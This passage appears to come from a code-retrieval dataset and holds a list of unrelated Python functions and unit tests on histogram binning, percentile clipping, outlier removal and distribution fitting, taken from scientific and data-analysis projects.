[]\\n mean_x_std = []\\n mean_y = []\\n mean_y_std = []\\n \\n # for each bin calculate rsq-weighted means and errors of binned ecc/gain \\n for j in range(n_bins): \\n \\n mean_x.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][x_key],\\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).mean)\\n mean_x_std.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][x_key],\\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).std_mean)\\n\\n mean_y.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][y_key],\\n weights = data_df[bin_size * j:bin_size*(j+1)][weight_key]).mean)\\n mean_y_std.append(weightstats.DescrStatsW(data_df[bin_size * j:bin_size * (j+1)][y_key],\\n weights = data_df[bin_size * j:bin_size * (j+1)][weight_key]).std_mean)\\n\\n return mean_x, mean_x_std, mean_y, mean_y_std\",\n \"def find_outlier_range(dfs: pd.Series, iqr_factor=1.5, clip_low=None, clip_high=None):\\n quant1 = dfs.quantile(0.25)\\n quant3 = dfs.quantile(0.75)\\n IQR = quant3 - quant1\\n low = quant1 - iqr_factor * IQR\\n high = quant3 + iqr_factor * IQR\\n\\n if clip_low is not None:\\n low = max(clip_low, low)\\n if clip_high is not None:\\n high = min(clip_high, high)\\n return (low, high)\",\n \"def remove_outliers(lst):\\n slst = sorted(lst)\\n three_iqr = 3 * get_IQR(lst)\\n low_boundary = float(np.percentile(lst, 25)) - three_iqr\\n high_boundary = float(np.percentile(lst, 75)) + three_iqr\\n\\n return filter(lambda x: x >= low_boundary and x <= high_boundary, slst)\",\n \"def test_bins(self):\\n\\n for filename in ['%s/population_padang_1.asc' % TESTDATA,\\n '%s/test_grid.asc' % TESTDATA]:\\n\\n R = read_layer(filename)\\n rmin, rmax = R.get_extrema()\\n\\n for N in [2, 3, 5, 7, 10, 16]:\\n linear_intervals = R.get_bins(N=N, quantiles=False)\\n\\n assert linear_intervals[0] == rmin\\n assert linear_intervals[-1] == rmax\\n\\n d = (rmax - rmin) / N\\n for i in range(N):\\n assert numpy.allclose(linear_intervals[i], rmin + i * d)\\n\\n quantiles = R.get_bins(N=N, quantiles=True)\\n A = R.get_data(nan=True).flat[:]\\n\\n mask = numpy.logical_not(numpy.isnan(A)) # Omit NaN's\\n l1 = len(A)\\n A = A.compress(mask)\\n l2 = len(A)\\n\\n if filename == '%s/test_grid.asc' % TESTDATA:\\n # Check that NaN's were removed\\n assert l1 == 35\\n assert l2 == 30\\n\\n # Assert that there are no NaN's\\n assert not numpy.alltrue(numpy.isnan(A))\\n\\n number_of_elements = len(A)\\n average_elements_per_bin = number_of_elements / N\\n\\n # Count elements in each bin and check\\n i0 = quantiles[0]\\n for i1 in quantiles[1:]:\\n count = numpy.sum((i0 < A) & (A < i1))\\n if i0 == quantiles[0]:\\n refcount = count\\n\\n if i1 < quantiles[-1]:\\n # Number of elements in each bin must vary by no\\n # more than 1\\n assert abs(count - refcount) <= 1\\n assert abs(count - average_elements_per_bin) <= 3\\n else:\\n # The last bin is allowed vary by more\\n pass\\n\\n i0 = i1\",\n \"def test_range_argument_ignored(self):\\n bins_range = (1, 2)\\n\\n bin_edges, hist, _, _ = hist_w_unc(\\n self.input,\\n bins=self.bin_edges,\\n bins_range=bins_range,\\n normed=False,\\n )\\n\\n # check if we end up with the same bin edges anyway\\n np.testing.assert_array_almost_equal(self.bin_edges, bin_edges)\\n np.testing.assert_array_almost_equal(self.hist, hist)\",\n \"def get_continuum_in_range(w,s,low_low, low_high, high_low, high_high,\\n pmin=12,pmax=88, only_correct_negative_values = False,\\n fit_degree=2, plot = True, verbose = True, warnings=True) :\\n s_low = s[np.where((w <= low_low))] \\n s_high = s[np.where((w >= high_high))] \\n \\n w_fit = w[np.where((w > low_low) & (w < high_high))]\\n w_fit_low = w[np.where((w > low_low) & (w < low_high))]\\n w_fit_high = w[np.where((w > high_low) & (w < high_high))]\\n\\n y_fit = s[np.where((w > low_low) & (w < high_high))]\\n y_fit_low = s[np.where((w > low_low) & (w < low_high))]\\n y_fit_high = s[np.where((w > high_low) & (w < high_high))]\\n\\n # Remove outliers\\n median_y_fit_low = np.nanmedian(y_fit_low)\\n for i in range(len(y_fit_low)):\\n if np.nanpercentile(y_fit_low,2) > y_fit_low[i] or y_fit_low[i] > np.nanpercentile(y_fit_low,98): y_fit_low[i] =median_y_fit_low\\n\\n median_y_fit_high = np.nanmedian(y_fit_high)\\n for i in range(len(y_fit_high)):\\n if np.nanpercentile(y_fit_high,2) > y_fit_high[i] or y_fit_high[i] > np.nanpercentile(y_fit_high,98): y_fit_high[i] =median_y_fit_high\\n \\n w_fit_cont = np.concatenate((w_fit_low,w_fit_high))\\n y_fit_cont = np.concatenate((y_fit_low,y_fit_high))\\n \\n try:\\n fit = np.polyfit(w_fit_cont,y_fit_cont, fit_degree)\\n yfit = np.poly1d(fit)\\n y_fitted = yfit(w_fit)\\n \\n y_fitted_low = yfit(w_fit_low)\\n median_low = np.nanmedian(y_fit_low-y_fitted_low)\\n rms=[]\\n for i in range(len(y_fit_low)):\\n rms.append(y_fit_low[i]-y_fitted_low[i]-median_low)\\n \\n # rms=y_fit-y_fitted\\n lowlimit=np.nanpercentile(rms,pmin)\\n highlimit=np.nanpercentile(rms,pmax)\\n \\n corrected_s_ =copy.deepcopy(y_fit)\\n for i in range(len(w_fit)):\\n if w_fit[i] >= low_high and w_fit[i] <= high_low: # ONLY CORRECT in [low_high,high_low] \\n if only_correct_negative_values:\\n if y_fit[i] <= 0 : \\n corrected_s_[i] = y_fitted[i]\\n else:\\n if y_fit[i]-y_fitted[i] <= lowlimit or y_fit[i]-y_fitted[i] >= highlimit: corrected_s_[i] = y_fitted[i]\\n \\n \\n corrected_s = np.concatenate((s_low,corrected_s_))\\n corrected_s = np.concatenate((corrected_s,s_high))\\n \\n \\n if plot:\\n ptitle = \\\"CorrectionBase in range \\\"+np.str(np.round(low_low,2))+\\\" - [ \\\"+np.str(np.round(low_high,2))+\\\" - \\\"+np.str(np.round(high_low,2))+\\\" ] - \\\"+np.str(np.round(high_high,2))\\n plot_plot(w_fit,[y_fit,y_fitted,y_fitted-highlimit,y_fitted-lowlimit,corrected_s_], color=[\\\"r\\\",\\\"b\\\", \\\"black\\\",\\\"black\\\",\\\"green\\\"], alpha=[0.3,0.7,0.2,0.2,0.5],xmin=low_low-40, xmax=high_high+40,vlines=[low_low,low_high,high_low,high_high],ptitle=ptitle, ylabel=\\\"Normalized flux\\\") \\n #plot_plot(w,[s,corrected_s],xmin=low_low-40, xmax=high_high+40,vlines=[low_low,low_high,high_low,high_high])\\n except Exception:\\n if warnings: print(\\\" Fitting the continuum failed! Nothing done.\\\")\\n corrected_s = s\\n\\n return corrected_s\",\n \"def all_bucket_boundaries(self):\\n\\n lower = self._lower_bounds[0]\\n for i in xrange(1, self.total_buckets):\\n upper = self._lower_bounds[i]\\n yield (lower, upper)\\n lower = upper\\n\\n yield (lower, float('Inf'))\",\n \"def _bound(x, min_value, max_value):\\n return np.maximum(min_value, np.minimum(x, max_value))\",\n \"def createDecile(resp:pd.Series,score:pd.Series,buckets:int=10) -> pd.DataFrame: \\n \\n input_df=pd.DataFrame({'target_1':resp,'score':score}) \\n input_df['target_0'] = 1-input_df['target_1'] \\n input_df['decile'] = pd.qcut(input_df['score'],buckets,duplicates='drop')\\n binned_df = input_df.groupby('decile', as_index = False)\\n \\n aggregated_df = pd.DataFrame()\\n aggregated_df['min_score'] = binned_df.min().score.apply('{0:.3f}'.format)\\n aggregated_df['max_score'] = binned_df.max().score.apply('{0:.3f}'.format)\\n aggregated_df['target_1'] = binned_df.sum().target_1\\n aggregated_df['target_0'] = binned_df.sum().target_0\\n aggregated_df['total'] = (aggregated_df['target_1'] + aggregated_df['target_0'])\\n aggregated_df['target_1_ratio'] = (aggregated_df['target_1'] / aggregated_df['total']).apply('{0:.1%}'.format)\\n aggregated_df['mean_score'] = binned_df.mean().score.apply('{0:.3f}'.format) \\n \\n sorted_df = (aggregated_df.sort_values(by = 'max_score', ascending = False)).reset_index(drop = True)\\n sorted_df['gain'] = (sorted_df['target_1'].cumsum()/sorted_df['target_1'].sum()).apply('{0:.1%}'.format)\\n sorted_df['lift'] = ((sorted_df['target_1']/sorted_df.total)/(sorted_df['target_1'].sum()/sorted_df.total.sum())).apply('{0:.2f}'.format)\\n sorted_df['KS'] = np.round(((sorted_df['target_1'] / sorted_df['target_1'].sum()).cumsum() - (sorted_df['target_0'] / sorted_df['target_0'].sum()).cumsum()), 4) * 100\\n \\n mark = lambda x: '◄─ ' if x == sorted_df.KS.max() else ''\\n sorted_df['max_KS'] = sorted_df.KS.apply(mark)\\n sorted_df.index +=1\\n \\n return sorted_df\",\n \"def bin_medscat(x, y, percentiles=[5,50,95], for_errorbar_plot=False, dropna=True, bins=\\\"auto\\\", **kwargs):\\n if dropna: x, y = get_finite(x, y)\\n h, xe = np.histogram(x, bins=bins, **kwargs)\\n xout = (xe[1:]+xe[:-1])/2.\\n indices = np.digitize(x, xe)\\n yout = np.zeros((len(xe)-1,len(percentiles)))+np.nan\\n for ix in np.unique(indices):\\n # Skip things outside the bin range\\n if ix >= len(yout): continue\\n # Percentile in this bin\\n ii = ix==indices\\n yout[ix,:] = np.percentile(y[ii], percentiles)\\n if for_errorbar_plot:\\n e1 = yout[:,1] - yout[:,0]\\n e2 = yout[:,2] - yout[:,1]\\n return xout, yout[:,1], [e1,e2]\\n return xout, yout\",\n \"def test_under_overflow_values(self):\\n values_with_inf = np.array([-1, 1, 2, 100, np.inf])\\n\\n with self.subTest(\\\"Under/overflow values without under/overflow bins.\\\"):\\n bins, hist, _, _ = hist_w_unc(values_with_inf, bins=5, bins_range=(0, 5))\\n np.testing.assert_almost_equal(bins, np.linspace(0, 5, 6))\\n # in this case only 40% of the values are shown in the plot\\n np.testing.assert_almost_equal(hist, np.array([0, 0.2, 0.2, 0, 0]))\\n\\n with self.subTest(\\\"Under/overflow values with under/overflow bins.\\\"):\\n bins, hist, _, _ = hist_w_unc(\\n values_with_inf, bins=5, bins_range=(0, 5), underoverflow=True\\n )\\n np.testing.assert_almost_equal(bins, np.linspace(0, 5, 6))\\n np.testing.assert_almost_equal(hist, np.array([0.2, 0.2, 0.2, 0, 0.4]))\",\n \"def split_into_classes(self, bounds=None, percentile=95):\\n\\n if self._sample_storage is not None:\\n occr = self.volumise_occr(self._sample_storage)\\n moccr = self.marginalise_occr_period(self._sample_storage)\\n else:\\n raise AttributeError(\\\"No stored samples found.\\\")\\n\\n if bounds is None:\\n bounds = []\\n for b in [1.25, 2.25, 3.75, 5.75]:\\n if b in self._R_boundaries:\\n bounds.append(b)\\n for b in [1.0, 2.0, 4.0, 6.0]:\\n if b in self._R_boundaries:\\n bounds.append(b)\\n\\n bound_pairs = []\\n bound_args = []\\n\\n for i in range(len(bounds) - 1):\\n bound_pairs.append([bounds[i], bounds[i+1]])\\n bound_args.append(\\n [np.argwhere(self._R_boundaries == bound_pairs[-1][0])[0, 0],\\n np.argwhere(self._R_boundaries == bound_pairs[-1][1])[0, 0]])\\n\\n if pd.isnull(bound_args[-1]).any():\\n raise ValueError(\\\"Boundary not found; given: {}, found:{}\\\"\\n \\\"\\\".format(bound_pairs[-1], bound_args[-1]))\\n\\n # Add two more bound pairs\\n if 1.5 in self._R_boundaries:\\n bound_pairs.append([1.5, 2.0])\\n bound_args.append(\\n [np.argwhere(self._R_boundaries == 1.5)[0, 0],\\n np.argwhere(self._R_boundaries == 2.0)[0, 0]])\\n bound_pairs.append([1.5, 4.0])\\n bound_args.append(\\n [np.argwhere(self._R_boundaries == 1.5)[0, 0],\\n np.argwhere(self._R_boundaries == 4.0)[0, 0]])\\n\\n bound_pairs.append([bound_pairs[0][0], bound_pairs[1][1]])\\n bound_args.append([bound_args[0][0], bound_args[1][1]])\\n\\n # period_pairs = []\\n # for i in range(len(self._P_boundaries) - 1):\\n period_pairs = self.occr_p_names\\n\\n full_df = pd.DataFrame(index=range(np.shape(moccr)[0]))\\n #split_df = pd.DataFrame()\\n # columns=[\\\"{}-{}\\\".format(*bp) for bp in bound_pairs])\\n\\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs, bound_args)):\\n full_df[\\\"{}-{}\\\".format(b1, b2)] = moccr[:, a1:a2].sum(axis=-1)\\n\\n full_df = full_df.describe(percentiles=[0.16, 0.50, 0.84,\\n 0.25, 0.75, 0.95])\\n\\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs, bound_args)):\\n int_occr = occr[:, a1:a2, :].sum(axis=1)\\n\\n for j, pp in enumerate(period_pairs):\\n ulim = np.percentile(int_occr[:,j], percentile)\\n full_df.loc[pp, \\\"{}-{}\\\".format(b1, b2)] = ulim\\n\\n # The med+-sig rate at the planet discovery\\n if len(self.occr_p_names) > 1:\\n for i, ((b1, b2), (a1, a2)) in enumerate(zip(bound_pairs,\\n bound_args)):\\n int_occr = occr[:, a1:a2, :].sum(axis=1)\\n\\n j = 0\\n for check_P in self._P_boundaries[1:]:\\n if check_P > 3.49:\\n break\\n else:\\n j += 1\\n\\n pp = 'mean: ' + self.occr_p_names[j]\\n\\n # try:\\n # j = np.argwhere(\\n # np.isclose(self._P_boundaries, 5, atol=0.001))[0,0] - 1\\n # pp = 'mean' + self.occr_p_names[j]\\n # except IndexError:\\n # continue\\n\\n med = np.percentile(int_occr[:,j], 50)\\n low = np.percentile(int_occr[:,j], 16)\\n hi = np.percentile(int_occr[:,j], 84)\\n\\n full_df.loc[pp, '{}-{}'.format(b1, b2)] = \\\\\\n \\\"{:.3g}-{:.3g}+{:.3g}\\\".format(med, med-low, hi-med) \\n\\n\\n #full_df = pd.concat([full_df, split_df])\\n\\n return full_df\",\n \"def rebin (self, bins, tol=1e-4):\\n\\n bins = np.copy (np.sort (bins))\\n for (i, b) in enumerate (bins):\\n misses = np.abs (b - self.bins)\\n j = np.argmin (misses)\\n closest = np.min (misses)\\n if closest > tol:\\n raise ValueError (\\n '{0} is not among current bin edges'.format (b))\\n bins[i] = self.bins[j]\\n if bins[0] != self.bins[0]:\\n raise ValueError (\\n 'binning startpoint should match ({0} vs {1})'.format (\\n bins[0], self.bins[0]))\\n if bins[-1] != self.bins[-1]:\\n raise ValueError (\\n 'binning endpoint should match ({0} vs {1})'.format (\\n bins[-1], self.bins[-1]))\\n\\n n_newbins = len (bins) - 1\\n newbin_indices = np.digitize (self.bins, bins)[:-1] - 1\\n values = np.array ([\\n np.sum (self.values[newbin_indices == i])\\n for i in range (n_newbins)\\n ])\\n if self.errors is not None:\\n errors = np.array ([\\n np.sqrt (np.sum (self.errors[newbin_indices == i]**2))\\n for i in range (n_newbins)\\n ])\\n else:\\n errors = None\\n return Hist (bins, values, errors)\",\n \"def get_bucket_boundaries(feature):\\n return np.unique(np.percentile(feature, range(0, 100))).tolist()\",\n \"def set_bin_(data, bin_num, scale=100.):\\n temp_data = -numpy.sort(-numpy.abs(data))\\n\\n bin_size = len(temp_data) / bin_num * 2\\n bins = numpy.array([temp_data[int(i * bin_size)] for i in range(1, int(bin_num / 2))])\\n bins = numpy.sort(numpy.append(numpy.append(-bins, [0.]), bins))\\n bound = numpy.max(numpy.abs(data)) * scale\\n bins = numpy.sort(numpy.append(-bound, numpy.append(bins, bound)))\\n return bins\",\n \"def test_range_argument(self):\\n # we test with range from 0 to 2, with 3 bins -> [0, 0.66, 1.33, 2] exp. bins\\n bins_range = (0, 2)\\n bins_exp = np.array([0, 2 / 3, 1 + 1 / 3, 2])\\n hist_exp = np.array([1, 2, 0])\\n\\n bin_edges, hist, _, _ = hist_w_unc(\\n self.input,\\n bins=self.n_bins,\\n bins_range=bins_range,\\n normed=False,\\n )\\n\\n # check if we end up with the same bin edges anyway\\n np.testing.assert_array_almost_equal(bins_exp, bin_edges)\\n np.testing.assert_array_almost_equal(hist_exp, hist)\",\n \"def remove_out_of_bounds(self, data, low_bound, high_bound):\\n data = data.dropna()\\n data = data[(data > low_bound).all(axis=1) & (data < high_bound).all(axis=1)] \\n return data\",\n \"def _find_limits(hist, treated, untreated):\\n # Treated Sample\\n # Set the lowest frequency observed in the treated subsample\\n # as the default for the lower limit of the common support\\n lower_limit = np.min(treated)\\n\\n # The following algorithm checks for any empty histogram bins\\n # (starting from 0 going up to 0.5).\\n # If an empty histogram bin is found, the lower_limit is set to\\n # the corresponding P(Z) value of the next bin above.\\n for low in range(len(hist[0][0])):\\n\\n # Only consider values in the interval [0, 0.5)\\n if hist[1][low] > 0.5:\\n break\\n\\n # If the algorithm starts below the sample minimum,\\n # move on to the next bin\\n elif hist[1][low] < np.min(treated):\\n continue\\n\\n else:\\n # If the current bin is non-empty, we have still continuous\\n # support and the sample minimum remains our lower limit\\n if hist[0][0][low] > 0:\\n pass\\n\\n # If an empty bin is found, set the lower limit to the next bin above\\n # and move on to the next bin until P(Z) = 0.5 is reached\\n else:\\n lower_limit = hist[1][low + 1]\\n\\n # Untreated Sample\\n # Set the highest frequency observed in the untreated subsample\\n # as the default for the upper limit of the common support\\n upper_limit = np.max(untreated)\\n\\n # The following algorithm checks for any empty histogram bins\\n # (starting from 1 going down to 0.5).\\n # If an empty histogram bin is found, the upper_limit is set to the\\n # current next bin.\\n for up in reversed(range(len(hist[0][1]))):\\n\\n # Only consider values in the interval (0.5, 1]\\n if hist[1][up] < 0.5:\\n break\\n\\n # If the algorithm starts above the sample maximum, move on to the next bin\\n elif hist[1][up] > np.max(untreated):\\n continue\\n\\n else:\\n # If the current bin is non-empty, we have still continuous support and\\n # the sample maximum remains our upper limit\\n if hist[0][1][up] > 0:\\n pass\\n\\n # If an empty bin is found, set the upper limit to the next bin below\\n # and move on to the next bin until P(Z) = 0.5 is reached\\n else:\\n upper_limit = hist[1][up]\\n\\n return lower_limit, upper_limit\",\n \"def histogram(hist_data, bins, minimum, maximum):\\r\\n hist_data2 = [x for x in hist_data if x <= maximum and x >= minimum]\\r\\n y, x = np.histogram(hist_data2, bins=bins)\\r\\n x_new = [((x[i] + x[i - 1]) / 2) for i in range(1, len(x))]\\r\\n max_freq = max(y)\\r\\n mean = x_new[y.argmax()]\\r\\n sigma = (x[1] - x[0]) * 4\\r\\n\\r\\n gauss = models.GaussianModel()\\r\\n fit = gauss.fit(y, x=x_new, center = mean, amplitude = max_freq, sigma = sigma, nan_policy= 'omit')\\r\\n\\r\\n return x, y, x_new, fit.best_fit\",\n \"def normalize(slice, bottom=99, down=1):\\n #有点像“去掉最低分去掉最高分”的意思,使得数据集更加“公平”\\n b = np.percentile(slice, bottom)\\n t = np.percentile(slice, down)\\n slice = np.clip(slice, t, b) #限定范围numpy.clip(a, a_min, a_max, out=None)\\n\\n #除了黑色背景外的区域要进行标准化\\n image_nonzero = slice[np.nonzero(slice)]\\n if np.std(slice) == 0 or np.std(image_nonzero) == 0:\\n return slice\\n else:\\n tmp = (slice - np.mean(image_nonzero)) / np.std(image_nonzero)\\n # since the range of intensities is between 0 and 5000 ,\\n # the min in the normalized slice corresponds to 0 intensity in unnormalized slice\\n # the min is replaced with -9 just to keep track of 0 intensities\\n # so that we can discard those intensities afterwards when sampling random patches\\n tmp[tmp == tmp.min()] = -9 #黑色背景区域\\n return tmp\",\n \"def test_set_clip_precentile(self):\\n data = np.array([[1., 2., 3.], [1., 2., 3.]])\\n self.mode.set_clip_percentile(10, 90)\\n result = self.mode.get_bounds(data)\\n np.testing.assert_array_almost_equal(result,\\n np.percentile(data, [10, 90]))\",\n \"def normalize_range(array, floor=0, ceil=1):\\n scaler = MinMaxScaler(feature_range=(floor, ceil), copy=True)\\n return scaler.fit_transform(array)\",\n \"def remove_outliers(self, data, min_p= 25, max_p= 75, cut= '', skewed= False):\\n data_c = [ d for d in data if d ]\\n q25, q75 = np.nanpercentile(data_c, min_p), np.nanpercentile(data_c, max_p)\\n cut_off = (q75 - q25) * cut\\n lower, upper = q25-cut_off, q75+cut_off\\n\\n if skewed==True:\\n q50 = np.nanpercentile(data_c, 50)\\n lower , upper = q25-(q50-q25)*cut , q75+(q75-q50)*cut\\n\\n median = np.nanmedian(data_c)\\n cleaned, outliers = [],[]\\n\\n for d in np.asarray(data):\\n if d >= lower and d <= upper:\\n cleaned.append(d)\\n outliers.append(np.nan)\\n elif np.isnan(d):\\n cleaned.append(np.nan)\\n outliers.append(np.nan)\\n else:\\n cleaned.append(np.nan)\\n outliers.append(d)\\n return cleaned, outliers, lower, upper, median\",\n \"def test_pandas_bins(self):\\n # Load the data from the fixture\\n data = load_occupancy(return_dataset=True)\\n X, y = data.to_pandas()\\n\\n visualizer = BalancedBinningReference()\\n visualizer.fit(y)\\n visualizer.finalize()\\n self.assert_images_similar(visualizer, tol=0.5)\",\n \"def best_fit_distribution(data, bins=200):\\n # Get histogram of original data\\n y, x = np.histogram(data, bins=bins, density=True)\\n x = (x + np.roll(x, -1))[:-1] / 2.0\\n\\n # Distributions to check\\n DISTRIBUTIONS = [ \\n st.alpha,st.anglit,st.arcsine,st.beta,st.betaprime,st.bradford,st.burr,st.cauchy,st.chi,st.chi2,st.cosine,\\n st.dgamma,st.dweibull,st.erlang,st.expon,st.exponnorm,st.exponweib,st.exponpow,st.f,st.fatiguelife,st.fisk,\\n st.foldcauchy,st.foldnorm,st.frechet_r,st.frechet_l,st.genlogistic,st.genpareto,st.gennorm,st.genexpon,\\n st.genextreme,st.gausshyper,st.gamma,st.gengamma,st.genhalflogistic,st.gilbrat,st.gompertz,st.gumbel_r,\\n st.gumbel_l,st.halfcauchy,st.halflogistic,st.halfnorm,st.halfgennorm,st.hypsecant,st.invgamma,st.invgauss,\\n st.invweibull,st.johnsonsb,st.johnsonsu,st.ksone,st.kstwobign,st.laplace,st.levy,st.levy_l,st.levy_stable,\\n st.logistic,st.loggamma,st.loglaplace,st.lognorm,st.lomax,st.maxwell,st.mielke,st.nakagami,st.ncx2,st.ncf,\\n st.nct,st.norm,st.pareto,st.pearson3,st.powerlaw,st.powerlognorm,st.powernorm,st.rdist,st.reciprocal,\\n st.rayleigh,st.rice,st.recipinvgauss,st.semicircular,st.t,st.triang,st.truncexpon,st.truncnorm,st.tukeylambda,\\n st.uniform,st.vonmises,st.vonmises_line,st.wald,st.weibull_min,st.weibull_max,st.wrapcauchy\\n ]\\n\\n # Best holders\\n best_distribution = st.norm\\n best_params = (0.0, 1.0)\\n best_sse = np.inf\\n\\n # Estimate distribution parameters from data\\n for distribution in DISTRIBUTIONS:\\n\\n # Try to fit the distribution\\n try:\\n # Ignore warnings from data that can't be fit\\n with warnings.catch_warnings():\\n warnings.filterwarnings('ignore')\\n\\n # fit dist to data\\n params = distribution.fit(data)\\n\\n # Separate parts of parameters\\n arg = params[:-2]\\n loc = params[-2]\\n scale = params[-1]\\n\\n # Calculate fitted PDF and error with fit in distribution\\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\\n sse = np.sum(np.power(y - pdf, 2.0))\\n\\n # identify if this distribution is better\\n if best_sse > sse > 0:\\n best_distribution = distribution\\n best_params = params\\n best_sse = sse\\n\\n except Exception:\\n pass\\n\\n return (best_distribution.name, best_params)\",\n \"def find_thresholds(vol, mask, use_mask=True):\\n hist_bins = 1000\\n hist = np.zeros(hist_bins, dtype=int)\\n max_jumps = 10\\n top_bin = 0\\n bottom_bin = 0\\n count = 0\\n jump = 1\\n lowest_bin = 0\\n highest_bin = hist_bins-1\\n validsize = 0\\n\\n thresh98 = float(0)\\n thresh2 = float(0)\\n mini = float(0)\\n maxi = float(0)\\n\\n if use_mask:\\n mini = vol[mask > 0].min()\\n maxi = vol[mask > 0].max()\\n else:\\n mini = vol.min()\\n maxi = vol.max()\\n\\n while jump == 1 or ((float(thresh98) - thresh2) < (maxi - mini)/10.):\\n if jump > 1:\\n bottom_bin = max(bottom_bin-1, 0)\\n top_bin = min(top_bin +1, hist_bins-1)\\n\\n tmpmin = mini + (float(bottom_bin)/float(hist_bins)) * (maxi-mini)\\n maxi = mini + (float(top_bin+1) /float(hist_bins)) * (maxi-mini)\\n mini = tmpmin\\n\\n if jump == max_jumps or mini == maxi:\\n if use_mask:\\n mini = vol[mask > 0].min()\\n maxi = vol[mask > 0].max()\\n else:\\n mini = vol.min()\\n maxi = vol.max()\\n\\n hist, validsize = find_histogram(vol, hist, mini, maxi,\\n mask, use_mask)\\n\\n if validsize < 1:\\n thresh2 = mini\\n minval = mini\\n thresh98 = maxi\\n maxval = maxi\\n return minval, maxval\\n\\n if jump == max_jumps:\\n validsize -= np.round(hist[lowest_bin]) + np.round(hist[highest_bin])\\n lowest_bin += 1\\n highest_bin -= 1\\n\\n if validsize < 0:\\n thresh2 = mini\\n thresh98 = mini\\n\\n fA = (maxi-mini)/float(hist_bins)\\n\\n count = 0\\n bottom_bin = lowest_bin\\n while count < float(validsize)/50:\\n count += np.round(hist[bottom_bin])\\n bottom_bin += 1\\n bottom_bin -= 1\\n thresh2 = mini + float(bottom_bin) * fA\\n\\n count = 0\\n top_bin = highest_bin\\n while count < float(validsize)/50:\\n count += np.round(hist[top_bin])\\n top_bin -= 1\\n top_bin += 1\\n thresh98 = mini + (float(top_bin) + 1) * fA\\n\\n if jump == max_jumps:\\n break\\n\\n jump += 1\\n\\n minval = thresh2\\n maxval = thresh98\\n return minval, maxval\",\n \"def test_nonmonotonic_bins(self):\\n\\n with pytest.raises(ValueError) as verr:\\n avg.median2D(self.testInst, np.array([0., 300., 100.]), 'longitude',\\n np.array([0., 24., 13.]), 'mlt',\\n ['dummy1', 'dummy2', 'dummy3'], auto_bin=False)\\n\\n estr = 'bins must be monotonically increasing or decreasing'\\n assert str(verr).find(estr) >= 0\\n\\n return\",\n \"def bininator(magbins, dlt, mags, err):\\n meds = np.zeros_like(magbins)\\n for i in range(len(magbins)):\\n ind = (mags > magbins[i] - dlt) & (mags <= magbins[i] + dlt)\\n ind = ind & (err < 10.)\\n meds[i] = np.median(err[ind])\\n return meds\",\n \"def get_bins(data) :\\n\\tbins=np.unique(data)\\n\\treturn np.append(bins[~np.isnan(bins)], max(bins) +1)\",\n \"def bucket_boundaries(self, bucket):\\n\\n if bucket < 0 or bucket >= self.total_buckets:\\n raise IndexError('bucket %d out of range' % bucket)\\n if bucket == self.total_buckets - 1:\\n return (self._lower_bounds[bucket], float('Inf'))\\n return (self._lower_bounds[bucket], self._lower_bounds[bucket + 1])\",\n \"def get_qual_stats(qual_bins, score_min):\\r\\n\\r\\n ave_bins = []\\r\\n std_dev_bins = []\\r\\n total_bases_bins = []\\r\\n\\r\\n found_first_poor_qual_pos = False\\r\\n\\r\\n suggested_trunc_pos = None\\r\\n\\r\\n for base_position in qual_bins:\\r\\n\\r\\n total_bases_bins.append(len(base_position))\\r\\n\\r\\n std_dev_bins.append(std(base_position))\\r\\n\\r\\n ave_bins.append(average(base_position))\\r\\n\\r\\n if not found_first_poor_qual_pos:\\r\\n if average(base_position) < score_min:\\r\\n suggested_trunc_pos = qual_bins.index(base_position)\\r\\n found_first_poor_qual_pos = True\\r\\n\\r\\n return ave_bins, std_dev_bins, total_bases_bins, suggested_trunc_pos\",\n \"def hist_bin_opt (x, minbin=20, maxbin=600, spacing=10, N_trials=1):\\n bin_checks = np.arange(minbin, maxbin, spacing)\\n # bin_checks = np.linspace(150, 300, 16)\\n costs = np.zeros(len(bin_checks))\\n i = 0\\n # this might be vectorizable in np\\n for n_bins in bin_checks:\\n # use np.histogram to do the numerical minimization\\n pdf, bin_edges = np.histogram(x, n_bins)\\n # calculate bin width\\n # some discrepancy here but should be fine\\n w_bin = np.unique(np.diff(bin_edges))\\n if len(w_bin) > 1: w_bin = w_bin[0]\\n # calc mean and var\\n kbar = np.mean(pdf)\\n kvar = np.var(pdf)\\n # calc cost\\n costs[i] = (2.*kbar - kvar) / (N_trials * w_bin)**2.\\n i += 1\\n # find the bin size corresponding to a minimization of the costs\\n bin_opt_list = bin_checks[costs.min() == costs]\\n bin_opt = bin_opt_list[0]\\n return bin_opt\",\n \"def test_numpy_bins(self):\\n # Load the data from the fixture\\n data = load_occupancy(return_dataset=True)\\n X, y = data.to_numpy()\\n\\n visualizer = BalancedBinningReference()\\n visualizer.fit(y)\\n visualizer.finalize()\\n self.assert_images_similar(visualizer, tol=0.5)\",\n \"def rvsWithinbounds(self,lowerBound,upperBound):\\n CDFupper = self._distribution.cdf(upperBound)\\n CDFlower = self._distribution.cdf(lowerBound)\\n randResult = self.rvsWithinCDFbounds(CDFlower,CDFupper)\\n return randResult\",\n \"def plot_percentile_bounds_vs_x(sps, x, y, q=25, nbins=15, pcol='blue', scol='orange', sorted=True, line_alpha=1):\\n if min(x) == max(x):\\n return\\n bins = np.linspace(min(x), max(x), nbins + 1)\\n\\n if not sorted:\\n inds = np.argsort(x)\\n x = x[inds]\\n y = y[inds]\\n\\n inds = np.digitize(x, bins[1:], right=True) # assume x data is sorted\\n base = []\\n h1 = []\\n m_new = []\\n h2 = []\\n cc = 0\\n no_dist = 0\\n for j in range(0, nbins):\\n lh = np.searchsorted(inds, j, side='left')\\n rh = np.searchsorted(inds, j, side='right')\\n\\n if lh == rh:\\n cc += 0 # change this to 1 if you want limit\\n else:\\n vals = y[lh:rh]\\n xxx = (x[lh:lh+1][0] + x[rh-1:rh][0]) / 2\\n median = np.median(vals)\\n p_lb = np.percentile(vals, q)\\n p_ub = np.percentile(vals, 100 - q)\\n\\n base.append(xxx)\\n h1.append(p_lb)\\n m_new.append(median)\\n h2.append(p_ub)\\n cc = 0\\n if cc >= 2:\\n no_dist = 1\\n if no_dist == 0:\\n sps.plot(base, m_new, c=pcol, label='Mean')\\n sps.fill_between(base, h1, h2, facecolor=scol, alpha=0.3)\\n lab = f'{q} - {100-q} %'\\n sps.plot(base, h1, 